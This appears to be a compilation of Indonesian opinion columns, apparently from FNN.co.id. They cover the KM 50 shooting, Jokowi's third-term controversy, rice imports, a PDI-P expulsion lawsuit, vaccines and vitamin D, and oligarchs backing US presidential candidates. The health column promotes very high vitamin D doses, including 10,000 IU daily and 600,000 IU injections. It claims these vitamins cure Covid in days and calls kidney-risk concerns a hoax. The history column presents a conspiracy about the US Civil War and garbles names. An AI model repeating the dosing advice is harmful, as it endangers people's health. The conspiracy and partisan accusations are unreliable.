Pengawal Peristiwa Pembunuhan (TP3) 6 anggota Laskar FPI menduga ada eksekutor lain dalam peristiwa di Km 50 Tol Japek, 7 Desember 2020. Dugaan ini disinyalir Ketua TP3 Abdullah Hehamahua berdasarkan penuturan saksi mata di sekitar lokasi. Dugaan Hehamahua sebaiknya tidak dikesampingkan begitu saja. Terlebih, dugaan ini punya kecocokan dengan temuan investigasi Komnas HAM. Komnas menyebut ada sejumlah pria yang membawa senjata laras panjang di sekitar KM 50, yakni aparat penjaga jalur pengiriman vaksin Covid-19. Meski begitu, selalu terbuka alternatif lain yang dapat terjadi. Belajar dari kasus pembunuhan Direktur Putra Rajawali Nusantara Nasrudin Zulkarnain, misalnya. Faktanya, di persidangan terungkap bahwa eksekutor yang disewa Mantan Ketua KPK Antasari Azhar ternyata gagal menunaikan tugas. Pistol sang eksekutor macet. Tetapi Nasrudin Zulkarnain toh tetap tewas dengan peluru bersarang di kepala. Peristiwa sejenis itu pula yang dikhawatirkan oleh Hehamahua. Menurut dia, peluru yang menyasar di kepala Nasrudin Zulkarnain berasal dari senapan sniper, penembak jarak jauh. Baik Komnas HAM maupun penyidik di Kepolisian seharusnya memikirkan alternatif semacam ini, agar penanganan dan pengembangan perkara tepat sasaran dan berkeadilan. Jangan sampai yang salah dibuat menjadi soelah-olah benar, dan yang benar jangan sampai disalahkan. TP3 bersama Amien Rais telah menemui presiden. Segala harapan, unek-unek, dan bahkan ancaman siksa api neraka telah disampaikan. Kita menunggu sejauh mana langkah bijak Presiden Joko Widodo. Penulis Adalah Senator DPD RI

Dengarkan Apa yang Dikatakan Jokowi Lalu Lihat Kebalikannya

Membantah sama artinya mengiyakan atau menyetujui masa jabatan presiden tiga periode. Begitulah kira-kira bacaan masyarakat saat ini terhadap ucapan dan tindakan Presiden Jokowi. by Tjahja Gunawan Jakarta, FNN - AKHIR-AKHIR Ini ribut perdebatan soal rencana perpanjangan jabatan Presiden Jokowi hingga tiga periode. Melalui akun Youtube Sekretariat Presiden yang diunggah, Senin (15/3/2021), Jokowi menegaskan dirinya tidak berminat menjadi Presiden untuk tiga periode. Ia juga meminta untuk tidak membuat kegaduhan baru karena kini sedang fokus pada penanganan pandemi. "Apalagi yang harus saya sampaikan? Bolak-balik ya sikap saya tidak berubah. jangan membuat kegaduhan baru, kita saat ini tengah fokus pada penanganan pandemi," ujar Jokowi. Pernyataan tersebut hampir mirip dengan ucapan Jokowi saat masih menjabat sebagai Gubernur DKI Jakarta, bulan September 2012. Ketika itu, Jokowi mengaku tidak pernah memikirkan jadi calon Presiden (Capres). "Copras-capres, copras-capres. Gak mikir. Mikir banjir, mikir macet saja pusing," ujar Jokowi kepada para wartawan ketika masih menjabat sebagai Gubernur DKI Jakarta. Nah, sekarang pernyataan yang hampir sama terulang kembali terkait dengan jabatan Presiden tiga periode. Menurut para netizen di media sosial, untuk membuktikan pernyataan Jokowi cukup dengarkan pernyataannya kemudian lihat kebalikannya. Apa yang dikatakannya terbalik dengan apa yang dilakukannya alias tidak sinkron antara pernyataan dengan perbuatan. Antara janji-janjinya dengan realitanya. Misalnya, dalam kampanye Pilpres 2014 berjanji untuk menggenjot pertumbuhan ekonomi 7 persen per tàhun, tapi kenyataannya hanya mampu tumbuh sekitar 5 persen. Lalu dia juga berjanji untuk tidak melakukan impor kebutuhan pangan, sekarang malah pemerintah merencanakan untuk mengimpor 1.000.000 ton beras. Padahal, para petani sekarang sedang melakukan panen raya. Masih banyak janji-janji Jokowi lainnya yang kalau diurut satu per satu hanya akan menyesakkan dada saja. Ruwet bos. Oleh karena itu, sekarang masyarakat umumnya sudah apatis dan tidak peduli lagi dengan apa yang sedang dan akan dilakukan pemerintah karena mereka melihat banyak inkonsistensi dari pernyataan dan langkah yang dilakukan pemimpinnya dalam hal ini Jokowi sebagai Presiden RI. Apalagi saat ini, pemimpin dan para elite partai politik juga asyik berebut kepentingan mereka masing-masing. Sedangkan masyarakat berkutat dengan berbagai permasalahan hidup mereka sehari-hari mulai dari kenaikan harga kebutuhan pokok, hingga naiknya biaya pendidikan dan kesehatan. Kondisi ini terjadi di tengah kesenjangan antara orang kaya dan miskin. Antara pribumi dan non pribumi. Tidak hanya itu, para taipan bahkan mampu bersekongkol dengan oknum pejabat dan aparat untuk melakukan korupsi uang negara. Jika memperhatikan perdebatan para elite politik dan pejabat di lingkungan Istana Kepresidenan tentang perpanjangan masa jabatan presiden tiga periode, sesungguhnya komentar mereka sarat dengan kepentingan politik. Saya lebih mengapresiasi komentar dan penilaian yang diungkapkan para netizen di media sosial. Mereka lebih jujur dan objektif dalam menilai kinerja pemerintahan sekarang, khususnya Presiden Jokowi. Untuk membuktikan pernyataan Jokowi, cukup dengarkan kemudian lihat kebalikannya. Tidak berlebihan jika Jokowi dijuluki presiden terbalik. Publik umumnya sudah maklum dan terbiasa dengan berbagai pernyataan presiden yang kerap berbohong. Oleh Karena itu, apa pun bantahan yang disampaikan Jokowi tentang perpanjangan jabatannya sebagai presiden menjadi tiga periode, publik justru meyakini sebaliknya. Membantah sama artinya mengiyakan atau menyetujui masa jabatan presiden tiga periode. Begitulah kira-kira bacaan masyarakat saat ini terhadap ucapan dan tindakan Presiden Jokowi. Betapa tidak, sebelumnya mantan Wali Kota Solo tersebut berhasil membuat sandiwara politik yang memukau sekaligus menipu rakyat Indonesia. Saat menjadi Gubernur DKI, Jokowi selalu mengaku tidak memikirkan urusan capres, meski realitanya dia menyatakan diri siap menjadi capres dari partainya yakni PDIP. Dalih yang disampaikan Jokowi berikutnya, "Saya kan petugas partai, jadi harus tunduk pada putusan partai". Sekarang pun dia menyatakan tidak berminat jadi presiden tiga periode. Akan tetapi, jika pada.akhirnya PDIP memutuskan mengubah UUD 1945 yang isinya memperpanjang masa jabatan presiden tiga periode, kalimat yang diucapkan Jokowi bisa berubah. Nah, lalu Jokowi mau apa ? Sebelumnya isu tentang jabatan Presiden 3 Periode, diungkapkan tokoh nasional yang juga pendiri Partai Ummat, Amien Rais, yang diunggah melalui kanal berbagai video YouTube, Sabtu (13/3/2021). Amien Rais menyebutkan, akan ada skenario mengubah ketentuan dalam UUD 1945 soal masa jabatan presiden dari dua periode menjadi tiga periode. Rencana mengubah ketentuan tersebut akan dilakukan dengan menggelar Sidang Istimewa MPR untuk mengubah atau mengamendemen UUD 1945. "Jadi, mereka akan mengambil langkah pertama meminta sidang istimewa MPR yang mungkin 1-2 pasal yang katanya perlu diperbaiki, yang mana saya juga tidak tahu," kata Amien Rais. Menurut Amien, skenario ini muncul karena ada opini publik yang menunjukkan ke arah mana pemerintahan Presiden Jokowi melihat masa depannya. "Kalau ini betul-betul keinginan mereka, maka saya kira kita sudah segera bisa mengatakan ya Innaillaihi Wa Innailaihi Ro'jiun," ujarnya. Isu perpanjangan masa jabatan presiden di era pemerintahan Jokowi bukan saja muncul sekali ini saja. Sebelumnya, pada akhir 2019, isu serupa ramai diperdebatkan soal ini seiring dengan wacana amandemen terbatas UUD 1945. Jadi kalau para pejabat di lingkungan Istana Kepresidenan mewanti-wanti Amien Rais agar tidak melontarkan pernyataan yang menjurus ke arah fitnah, maka seharusnya mereka juga mendorong Jokowi untuk melaporkan Amien Rais ke polisi. Sebelumnya Tenaga Ahli Utama Kantor Staf Presiden (KSP) Donny Gahral Adian meminta Amien Rais berhati-hati atas isu perubahan masa jabatan presiden menjadi tiga periode yang ditudingkan kepada pemerintah. Sebelum Jokowi menyampaikan bantahannya, para pejabat di sekitar Istana Kepresidenan kompak membantah Jokowi berkeinginan untuk menjabat presiden selama tiga periode. Juru bicara Kepresidenan Fadjroel Rahman di akun Instagramnya menyebutkan Presiden @Jokowi tegak lurus UUD 1945, masa jabatan presiden dua periode. Ingin Mencari Muka Hal senada disampaikan Menko Polhukam Mahfud MD. "Presiden Jokowi tak setuju adanya amendemen lagi," ungkap Mahfud melalui akun Twitter pribadinya, @mohmahfudmd, Senin (15/3). Presiden Jokowi, ujar Mahfud, tidak setuju terhadap rencana amendemen kembali UUD1945. Mengutip apa yang dikatakan Jokowi kepada Mahfud, ada tiga kemungkinan jika ada pihak yang menghendaki Jokowi menjadi presiden tiga periode. "Satu, ingin menjerumuskan. Dua, ingin menampar muka. Tiga, ingin mencari muka. Kita konsisten saja, batasi jabatan presiden dua periode," jelas Mahfud. Nah, ternyata Wakil Ketua Umum Partai Kebangkitan Bangsa (PKB) Jazilul Fawaid secara pribadi mengaku mendukung wacana penambahan masa jabatan presiden Indonesia hingga tiga periode. Padahal, UUD 1945 mengatur masa jabatan presiden hanya boleh dua periode. "Secara pribadi saya setuju adanya wacana masa jabatan presiden menjadi tiga periode sepanjang atas dasar kehendak rakyat yang tercermin dari fraksi dan kelompok DPD," kata Jazilul dalam keterangan tertulis kepada CNNIndonesia.com, Minggu (14/3) malam. Jika mengacu pada kriteria yang disampaikan Menko Polhukam Mahfud MD, apakah pernyataan Wakil Ketua Umum PKB ini termasuk kedalam orang yang hendak menjerumuskan, menampar muka atau mencari muka kepada Jokowi ? Silahkan disimpulkan sendiri. Yang jelas kita semua mengetahui, PKB bagian dari partai pendukung pemerintah. *** Penulis adalah Wartawan Senior FNN.co.id.

Jokowi Jadi Pembela Petani Asing

PANEN padi di beberapa daerah sudah memasuki puncaknya. Di sisi lain, pemerintah bersikeras akan mengimpor 1.000.000 (satu juta) ton beras. Sesuatu kegiatan yang sangat kontraproduktif, sangat menyakitkan, merendahkan, dan bahkan sangat melecehkan para petani. Sungguh ironis. Pada saat petani padi bersemangat meningkatkan produksi, pemerintahan Joko Widodo malah berencana mengimpor beras. Padahal, beras impor tahun 2018 masih ada yang belum disalurkan, sebagaimana disampaikan Kepala Badan Urusan Logistik (Bulog) Budi Waseso. Jumlahnya cukup banyak. Dari total pengadaan 1.785.450 ton beras masih tersisa 275.811 ton beras belum tersalurkan. Dari jumlah yang belum tersalurkan itu, 106.642 ton menjadi beras turun mutu. Bisa jadi, semua beras impor yang tidak laku itu menjadi turun mutu karena disimpan di gudang Bulog sejak 2018 yang lalu. Sangat ironis. Pada saat memasuki panen raya, pemerintahan Joko Widodo malah tidak peduli dengan hasil rakyatnya. Pemerintahan Joko Widodo tidak peduli kepada para petani. Sangat ironis, karena pemerintahan Joko Widodo ikut menghancurkan harga padi. Pemerintahan Jokowi lebih peduli pada petani asing. Lebih peduli pada pengusaha yang akan mengimpor beras. Berdasarkan pengalaman selama ini, walaupun impor itu ditugaskan kepada Badan Bulog, namun perusahaan plat merah tersebut biasanya akan menjalin kerjasama dengan pengusaha swasta. Ya, perusahaan swasta yang berpengalaman dalam impor beras, dan pengusaha yang sudah memiliki kedekatan dengan Bulog. Kok pemerintah Jokowi menghancurkan petani dan harga padi? Itu bisa berita bohong atau hoax. Pemerintah Jokowi adalah pembela petani, pembela rakyat, dan pembela wong cilik. Faktanya, pembangunan bendungan terus dilakukan. Pemerintahan Jokowi juga sangat getol dan bersemangat membangun food estate atau lumbung pangan di beberapa daerah. Luas yang dibangun tidak tanggung-tanggung. Arealnya pun tidak hanya diperuntukkan tanaman padi, tetapi juga singkong. Hebat kan. Penerintahan Jokowi sangat berpihak kepada petani. Hebat sekali keinginan pemerintah untuk memanjakan mereka, menghibur rakyat. Ya, bukan sinetron, melainkan kenyataan yang menghibur. Akan tetapi, di balik itu semua, sekarang ini pemerintah secara nyata dan perlahan ingin membunuh para petani dengan mengimpor beras dalam jumlah yang sangat fantastis atau tidak nasuk akal. Sudah angkanya besar, impor pun diumumkan pada saat petani bergembira karena panen raya telah tiba. Secara psikologis, rencana pemerintah mengimpor beras satu juta ton itu sangat melukai perasaan para petani. Jokowi benar-benar meruntuhkan semangat mereka. Mestinya, pemerintah Jokowi membeli padi dari petani, berapa pun jumlahnya dengan harga minimal sesuai harga dasar. Syukur-syukur pemerintah berani membeli gabah di atas harga dasar, atau sesuai harga pasar. Rencana pemerintah mengimpor beras satu juta ton telah menyebabkan harga gabah kering giling (GKG) anjlok hingga Rp1.400 per kilogram. Harga yang diterima petani berkisar Rp3.300 per kg. Padahal, sebelumnya harganya Rp4.500 sampai Rp4.700. Menjelang panen raya, Badan Pusat Statistik menyebutkan harga rata-rata gabah nasional turun. Harga gabah kering panen (GKP) di tingkat petani pada Februari 2021 turun 3,31 persen menjadi Rp4.758 per kilogram. Itu baru Februari, dan diperkirakan turun lagi pada Maret dan April, saat puncak panen padi. Setidaknya, ada dua penyebab turunnya harga GKP itu. Pertama, karena pasokan gabah mulai naik seiring semakin banyaknya daerah sentra padi yang panen. “Beberapa wilayah sudah mulai panen dan kami perkirakan panen raya mulai Maret dan April. Observasi menunjukkan, pasokan gabah yang dipantau juga naik seiring banyaknya daerah yang panen,” kata Kepala BPS Suhariyanto, kepada wartawan, di Jakarta, Senin (1/3/2021). Kedua, harga merosot karena kualitas gabah turun. Kadar air GKP pada Februari 2021 cenderung lebih tinggi dibandingkan bulan Januari. Hal tersebut terjadi karena curah hujan yang tinggi. Kadar air pada Februari 2021 mencapai 19,17 persen, lebih tinggi dibandingkan dengan Januari 2021 sebesar 17,56 persen. Dua alasan tersebut sangat masuk akal. Akan tetapi, harga gabah juga terus merosot setelah Menteri Koordinator Perekonomian, Airlangga Hartarto mengumumkan rencana impor beras satu juta ton. Tentu, ini menyangkut psikologis petani. Tidak menutup kemungkinan petani didatangi para tengkulak dengan nada mengancam. "Kalau tidak mau jual harga murah, nanti beras impor akan membanjiri pasar." Demikian kira-kira kalimat ancamannya. Tengkulak, tidak hanya mereka yang berupaya mengeruk keuntungan dari petani, alias pedagang yang sudah malang-melintang dalam urusan gabah dan beras. Tengkulak juga bisa berasal dari kaki-tangan Bulog, misalnya koperasi dan lainnya. Melihat fakta yang terjadi, sebaiknya pemerintah berhenti merencanakan impor beras. Semestinya, Jokowi berpihak kepada petani Indonesia, ketimbang petani asing. Apalagi, Jokowi adalah petugas partai wong cilik. Jika impor beras tetap dilakukan pemerintah, maka jangan salahkan rakyat jika menyebut Jokowi sebagai, "Presiden wong edan." Sebab, impor beras di tengah produksi melimpah berarti sama saja Jokowi pembela petani asing. **

Prof Subowo, “Vaksin Masuk Tidak Ada Gunanya Untuk Kita”

by Mochamad Toha Surabaya FNN - Dalam Diskusi Grup Probiotik, Prof. dr. Subowo, MSc. PhD mengatakan, vaksinasi terhadap patogen apa saja, tujuannya bukan menaikkan antibodi, sebab jika yang diinginkan antibodi tujuannya terapi, artinya ingin segera mengatasi infeksi.Maka vaksinasi terhadap hepatitis (apapun jenis virusnya) bertujuan untuk profilaksis, artinya tidak segera dibutuhkan. Pada setiap kali vaksinasi maka tubuh ini akan merespons terhadap vaksin tersebut. Respons imun dimulai dengan pengenalan oleh sel pengenal, yaitu limfosit B menghasilkan antibodi (humoral) atau limfosit T (selular). Proses responsnya sama yang dimulai dengan pengenalan melalui molekul reseptor yang diikuti proses proliferasi (reseptor tak diperlukan lagi) dalam proses proliferasi ini dilanjutkan dengan diferensiasi menjadi 2 jenis sel, yaitu: Sel efektor (B menjadi plasma cell, T menjadi sel Tc (sitotoksik), plasma cell menghasilkan antibodi terhadap vaksin. Selain itu, menurut Prof Subowo, diferensiasi menjadi sel memor yang dilengkapi dengan reseptor. Mengapa disebut sel memori, karena di kemudian hari jika terpapar oleh vaksin yang sama atau virus patogen yang sama akan merespons mengganti fungsi limfosit yang pertama kali mengenal vaksin. Dalam imunologi disebut “virgin cell”. Virgin cell diganti oleh memory Cell. Vaksinasi yang bertujuan profilaksis tidak memerlukan antibodi, tetapi yang diperlukan memory cell karena hidupnya lama. Jika yang bersangkutan di kemudian hari orang tersebut terpapar hepatitis virus, sel memori yang banyak inilah yang akan menghadapi virus tersebut seperti yang dilakukan oleh “virgin cell”, tetapi antibodinya merupakan antibodi terhadap virus bukan terhadap vaksin. Yang penting sekarang, apa arti vaksinasi itu? Benar antibodi ketika vaksin masuk memang ada tetapi tidak ada gunanya untuk kita, karena tidak cukup jumlahnya untuk menghadapi virus yang proliferasinya cepat, lagipula vasinasi bukan untuk terapi tetapi profilaksis. Hal ini yang harus dipahami, vaksinasi tujuannya membuat sel memori sebanyak-banyaknya yang umurnya panjang. Jika pada uji klinik diukur antibodi terhadap vaksin, bertujuan untuk menguji apakah vaksin dapat merangsang respons imun. Itu yang pertama. Kedua, kapan antibodi itu habis dalam serum? Untuk menentukan waktu yang menguntungkan vaksinasi kedua. Jika masih ada antibodi maka antibodi itu akan mengikat vaksin yang berdampak mengurangi dosis vaksin kedua. Sebenarnya 2 minggu itu terlalu pendek. Efektivitas vaksin tidak diukur oleh kemampuanya menghasilkan antibodi. Khasiat vaksin dan efektivitas vaksin mengukur penurunan proporsional dalam kasus diantara orang yang telah divaksinasi. Khasiat vaksin digunakan saat ketika dilaksanakan dalam kondisi ideal, misalnya saat uji klinis. Efektivitas vaksin digunakan saat studi dilakukan di bawah lapangan khas (kondisi kurang dari sempurna). Khasiat atau efektivitas vaksin (VE) diukur dengan menghitung risiko penyakit diantara orang yang divaksinasi dan tidak divaksinasi serta menentukan persentase reduksi risiko penyakit antara orang yang divaksinasi relatif terhadap orang yang tidak divaksin. Semakin besar pengurangan persentase penyakit pada kelompok yang divaksinasi, semakin besar khasiat atau efektivitas vaksin. Memantau efektivitas vaksin sangat penting untuk: Optimalkan penggunaan sumber daya terbatas; Menunjukkan dampak vaksin pada hasil kesehatan (membenarkan biaya); Optimalkan vaksin uptake; Merangsang pengembangan vaksin yang meningkat. Prof Subowo mengingatkan, vaksinasi itu bukan terapi, maka harus tetap prokes walaupun antobodi tinggi tetap tidak melindungi diri, karena virus cepat proliferasi. Menjaga Mikrobioma Dr Widya Murni MARS, Dipl of IHS, seorang dokter umum yang praktek dalam bidang ilmu integrative dan functional medicine, lebih khusus lagi di bidang anti-aging medicine berbasis hormon mengungkap pentingnya peningkatan Vitamin D. Dalam ilmu ini, dr. Murni senantiasa mencari root of cause (akar penyebab) untuk memberi pengobatan bukan sekedar penurun gejala. Setiap terapi yang diberikan harus berasal dari root of cause-nya, seperti halnya kekurangan vitamin D. “Saya terpaksa membuat tulisan ini dengan niat baik untuk menyebarkan paradigma baru penggunaan dosis tinggi vitamin D untuk pencegahan dan pengobatan Covid-19,” tulis dr. Murni. Memang vitamin D bukan satu-satunya pendukung innate dan adaptive immune system, tapi jika kita memiliki kadar vitamin D yang rendah dan terkena Covid-19, maka akan terjadi sulit sembuh, dan bahkan sering terjadi gagal napas sehingga harus dirawat di ICU. Ada juga terjadi kegagalan multiorgan dan kematian. No one should be die with corona virus. Kata seorang ahli, harusnya tidak ada seorangpun meninggal dengan Covid-19, jika tertangani dengan baik tentunya. Dr. Murni sempat menghadiri satu acara di Kuala Lumpur yang diselenggarakan MAAFIM, organisasi Malaysia Asociation of Functional & Interdisiplinary Medicine, yang juga dihadiri semua bintang ilmu Integrative & Functional Medicine dari Malaysia dan kelas dunia. Salah satu topik penting yang ditampilkan adalah The Miracle Of Vitamin D yang dibawakan oleh Dr. Renu Mahtani dari India, murid langsung Dr. Cicero Coimbra dari Brazil. Keduanya adalah pakar dalam pengobatan autoimmune dengan menggunakan dosis tinggi vitamin D. Menurut Dr. Renu Mahtani, the real global pandemi saat ini adalah (karena) low vitamin D. Ini terjadi sebelum pandemi Covid-19 datang. Tidak hanya di negara Barat semata orang jarang berjemur, tapi di sejumlah negara tropis pun di mana sinar matahari gratis, orang tidak pernah membiasakan diri berjemur untuk menjaga kadar vitamin D yang optimal. Walaupun range normal vitamin D yang dipakai oleh sebagian besar negara di dunia sekitar 30-100 ng/mL, jika kita ingin memiliki sistem imun optimal, jangan biarkan tingkat vitamin D hanya berkisar di 30 saja. Kadar vitamin D yang kurang dari 30 ng/mL ini membuat kita dengan mudah kena influenza epidemik (dan pasti Covid-19). Karena sebenarnya batas bawah kadar 20 ng/mL itu hanya dimaksud untuk mencegah penyakit Rickets yang mungkin saat ini sudah sukar ditemukan. Dr Coimbra bahkan mengatakan, jika kita menginginkan sistem imun kita optimal, kita harus memiliki kadar vitamin D 100 ng/mL. Dan untuk mencapai kadar ini, tidak akan cukup jika kita hanya mengkonsumsi vitamin D dengan dosis 1000 iu per hari. Setidaknya, kita harus mengkonsumsi vitamin D dosis 10.000 iu per hari. Penggunaan dosis 1000 iu tersebut tak ubahnya seperti UMR, sangat susah bertahan hidup. Apalagi jika kita sudah menderita Covid-19, jangan gunakan dosis 1000 iu ini, akan lebih lama sembuhnya. Berbekal ilmu dari Dr Coimbra dan Dr Renu Mahtani tersebut, dengan penuh percaya diri, ia mencegah covid dengan dosis 10.000 iu, dan bahkan ada protokol Dr Brownstein membantu pengobatan banyak pasien covid hanya dengan vitamin D oral dosis tinggi 50.000 iu. Bahkan, tidak jarang dr. Murni menginjeksikan vitamin D dosis 600.000 iu, cara yang dulu hanya digunakan untuk boosting kadar vitamin D pada pasien kanker semata. Prinsipnya jika tidak gunakan injeksi, akan sangat lama perbaikan kadar vitamin D mendekati nilai 100 ng/mL. Namun, pandemi saat ini membuat kita harus dihadapkan pada pilihan sekaligus mengejar waktu dalam dua minggu pasien harus sembuh atau meninggal. Dengan ilmu dosis tinggi vitamin D dan vitamin C, kita bisa menyembuhkan pasien Covid dalam 3 hari hingga 1 minggu saja tanpa penyulit. Lebih dari itu, pasien cukup isoman di rumah, tidak usah berebutan masuk RS yang juga sudah habis kapasitasnya, serta tak perlu ketakutan yang selalu meliputi setiap pasien maupun keluarga. Banyak dokter takut memberikan dosis tinggi karena vitamin D ini harus diaktivasi di hati dan ginjal, sehingga konon bisa memicu gagal ginjal. Ini info hoax yang dipercaya oleh sebagian dokter yang kurang memahami dan memiliki pengalaman dalam pengobatan dengan ilmu vitamin D. Ketakutan penggunaan dosis tinggi vitamin D tersebut adalah terjadinya hiperkalsemia, atau kelebihan penyerapan kalsium yang mungkin dianggap bisa menyumbat pembuluh darah. Karenanya untuk atasi hal ini, pada mereka dengan resiko thrombosis atau pengentalan darah, itu bisa disertai vitamin K2, atau nattokinase dan serrapeptase sebagai anti kekentalan darah alami. Beberapa individu yang sudah maintain gut microbiome (menjaga mikrobioma usus) dengan baik, mengonsumsi probiotik multistrain (komunitas, atau probiotik siklus) tentu saja tidak membutuhkan tambahan vitamin K2 atau pengencer darah alami ini. Jadi, benar kata Profesor Subowo bahwa vaksin masuk memang ada, tapi tidak ada gunanya untuk kita! Klarifikasi Prof. Subowo Judul yang dibuat itu bukan merupakan kesimpulan dari seluruh uraian, tetapi diambil dari penggal kalimat agar bernada negantif. Maksud kalimat yang menyatakan: vaksin masuk tidak ada gunanya, memang pada saat itu tidak ada gunanya, tetapi dikemudian hari baru ada perlidungan, maka vaksinasi bukan untuk terapi. Penulis adalah Wartawan Senior FNN.co.id

Kader PDI-P Samosir Melawan Megawati Soekarnoputri

by Tjahja Gunawan Jakarta, FNN - DI tengah kisruh yang terjadi di tubuh Partai Demokrat, ternyata juga ada konflik di tubuh PDI-P. Hanya saja pemberitaannya tidak riuh seperti kudeta yang dilakukan Kepala Staf Kepresidenan (KSP) Jend (Purn) TNI Moeldoko terhadap Ketua Umum Partai Demokrat Agus Harimurti Yudhoyono (AHY). Seperti diberitakan portal Kompas tanggal10 Maret 2021, Ketua Umum Partai Demokrasi Indonesia Perjuangan (PDI-P) Megawati Soekarnoputri digugat oleh mantan kader partai banteng ke Pengadilan Negeri Jakarta Pusat. Gugatan itu dilayangkan oleh Rismawati Simarmata yang belum lama ini dipecat dari PDI-P. Namanya ada kemiripan dengan Tri Rismaharani, mantan Walikota Surabaya yang sekarang menjadi Menteri Sosial. Sama-sama bernama Risma, keduanya juga kader PDIP, tetapi berbeda peran dan posisi. Rismawati Simarmata ini berani menggugat Ketua Umum PDI-P Megawati Soekarnoputri setelah dirinya dipecat dari Partai Banteng Moncong Putih itu. Selain Megawati, gugatan tersebut juga ditujukan kepada Sekjen PDI-P Hasto Kristiyanto, Ketua DPD PDI-P Sumatera Utara Djarot Saiful Hidayat, dan Ketua DPC PDI-P Samosir Sorta Ertaty Siahaan. Dalam petitum gugatannya, Rismawati meminta majelis hakim membatalkan pemecatannya, baik sebagai kader PDI-P maupun sebagai anggota DPRD Kabupaten Samosir. Ketua DPC PDI-P Samosir Sorta Siahaan menyebutkan, pemecatan itu karena Rismawati mendukung calon kepala daerah di luar PDI-P pada Pilkada 2020. Pemecatan terhadap kader PDIP Rismawati menggambarkan aturan di organisasi partai tersebut bersifat feodal dan otoriter. Gugatan yang diajukan kader PDIP Samosir tersebut, menunjukkan bahwa penerapan aturan di internal PDI-P itu dilakukan secara sewenang-wenang. Sehingga wajar kalau kemudian Rismawati menggugat Megawati Soekarnoputri selaku pimpinan tertinggi di PDIP. Dia mengajukan gugatan ke pengadilan karena diyakini Rismawati memiliki argumentasi hukum yang kuat. Saya mengapreasiasi keberanian Rismawati yang berani melayangkan gugatan kepada Megawati, sebagai pimpinan partai penguasa saat ini. Di atas kertas, memang kecil kemungkinan bagi kader PDI-P Samosir tersebut untuk bisa memenangkan gugatan di PN Jakarta Pusat. Namun, di tengah kultur feodal di tubuh PDI-P serta kuatnya kekuatan oligarki partai saat ini, keberanian Risma menggugat Megawati perlu diacungi jempol. Bagi kader partai seperti Rismawati Simarmata pemecatan dirinya dari keanggotaan partai boleh jadi merupakan penghinaan terhadap harkat dan martabat dirinya. Oleh karena itu, gugatan yang diajukan Risma kepada para petinggi PDIP merupakan suatu bentuk perlawanan terhadap perlakuan sewenang-wenang di tubuh partai tersebut. Jangankan kasus pemecatan kader partai, ada kasus penyalahgunaan organisasi parpol yang dilakukan pimpinan tertinggi partai bisa kok digugat ke pengadilan. Ini menunjukkan bahwa parpol bukan milik perseorangan atau miliki keturunan dari tokoh tertentu. Dua tàhun lalu, salah seorang kader Partai NasDem, Kisman Latumakulita, menggugat keabsahan Surya Paloh sebagai Ketua Umum Nasdem . Kisman menyebut masa jabatan Surya Paloh seharusnya berakhir pada 6 Maret 2018. "Mengguggat keabsahan Pak Surya Paloh sebagai ketum. Periodisasi jabatan ketum untuk 5 tahun," kata Kisman setelah mendaftarkan gugatan perdata selisih internal parpol ke Pengadilan Negeri Jakarta Pusat, Rabu 6 Februari 2019. Kisman berpatokan pada Surat Keputusan Kemenkum HAM tentang pengesahan kepengurusan Nasdem yang diteken MenkumHAM saat itu Amir Syamsuddin pada 6 Maret 2013. Sedangkan pada Pasal 21 Anggaran Dasar Nasdem, diatur periodisasi kepengurusan selama 5 tahun. Kasus tersebut sempat disidangkan di PN Jakpus. Namun dalam sidang tersebut majelis hakim menolak gugatan yang diajukan kader Partai Nasdem, Kisman Latumakulita. Kemudian Kisman mengajukan kasasi ke Mahkamah Agung. Di MA pun gugatan yang diajukan Kisman ditolak. Meski gugatan tersebut ditolak lembaga peradilan, namun kader partai seperti Kisman Latumakulita telah menggunakan hak politiknya secara tepat dan proporsional. Di alam demokrasi yang berlaku di Indonesia sekarang ini, sah-sah saja seorang kader partai menggugat pimpinan partai yang dianggap menyimpang dari ketentuan hukum dan aturan organisasi. Jangankan kasus pemecatan seperti yang dialami Rismawati Simarmata dari keanggotaan PDIP, pimpinan tertinggi partai yang melampaui masa jabatannya seperti pada kasus Ketua Umum Partai Nasdem Surya Paloh, bisa dipersoalkan dan digugat secara hukum oleh kader partainya. Pelajaran yang bisa kita ambil dari kasus diatas, dalam sistem demokrasi pimpinan parpol tidak bisa bertindak seenaknya sendiri. Mereka harus taat dan patuh pada ketentuan internal organisasi (AD/ART Parpol) serta mematuhi aturan hukum yang ada. Semua warga negara Indonesia memang memiliki hak dan kedudukan yang sama didepan hukum, namun realita hukum menunjukkan pada kita bahwa putusan hukum kerap lebih berpihak pada kepentingan penguasa dan pemilik uang. Apakah Rismawati Simarmata bisa memenangkan gugatannya di PN Jakarta Pusat ? Kita lihat saja nanti. Penulis adalah Wartawan Senior FNN.co.id.

Oligarki Cukongi Capres Demokratis (Bagian-2)

by Dr. Margarito Kamis SH. M.hum Ternate FNN - Pada masa John Tyler naik menjadi Presiden inilah Amerika memiliki Bank Charter Act 1844. UU ini diidentifikasi Thomas Tookeim, sebagai pioner lender of the last resort. Uniknya, keadaan keuangan tak juga kunjung membaik. Tahun 1857 terjadi lagi krisis keuangan besar. Utara-Selatan memanas oleh isu slavery. Situasi itu diidentifikasi Coleman, sejarahwan top ini sebagai ciptaan oligarki. Dengan mitra Inggrisnya, oligarki ini merancang perang saudara, Utara-Selatan di Amerika. Pilpres pun tiba. Partai Republik menemukan Abraham Lincoln sebagai salah satu kandidatnya. Lincoln menang pilpres, dan menemukan kenyataan, perang memerlukan uang. Sementara kas negara defisit besar-besaran. William P. Chase, kandidat republik yang gagal, diangkat Lincoln menjadi Menteri Keuangan . Kelak Chase juga dinominasikan Lincoln menjadi Ketua Mahkamah Agung. Dikenal sebagai banker dimasa lalu, Chase diperintah Lincoln mengekstensifikasi pajak. Tetapi Chase bergerak ke arah lain, meminjam uang dari bank-bank. Sayang tidak tercapai. Mimpi oligarki segera terealisasi. Pada tahun 1862 Lincoln membutuhkan tanda tangannya untuk Banking Act. Disusul setahun kemudian dengan National Banking Act 1863. Terlembagakanlah prinsip bank sentral. Pada tahun 1863 ini J.P Morgan telah memainkan peran menentukan, mengusahakan pengakuan korporasi berbentuk “trust” sebagai subyek hukum. Tahun 1873 terjadi lagi kepanikan keuangan. Dikenal dengan Black Friday Panic. Berhentikah sampai di situ? Tahun 1890 krisis keuangan terjadi lagi. Krisis terakhir ini mendekatkan Mark Hannah, salah satu financial oligarchy mendekat ke William McKinley. Setelah menjalin persahatan yang hangat, McKinley menjadi Capres tahun 1896 dari Partai Republik. Pilpres ini benar-benar menjadi pilpres pertama para oligarki keuangan mencukongi capres. Berada di barisan Hannah adalah Andrew Carnige, Henry Clay Frick, Philander Knox, George Pulman, Philipe Aermour (orangnya J.P Morgan), termasuk dari 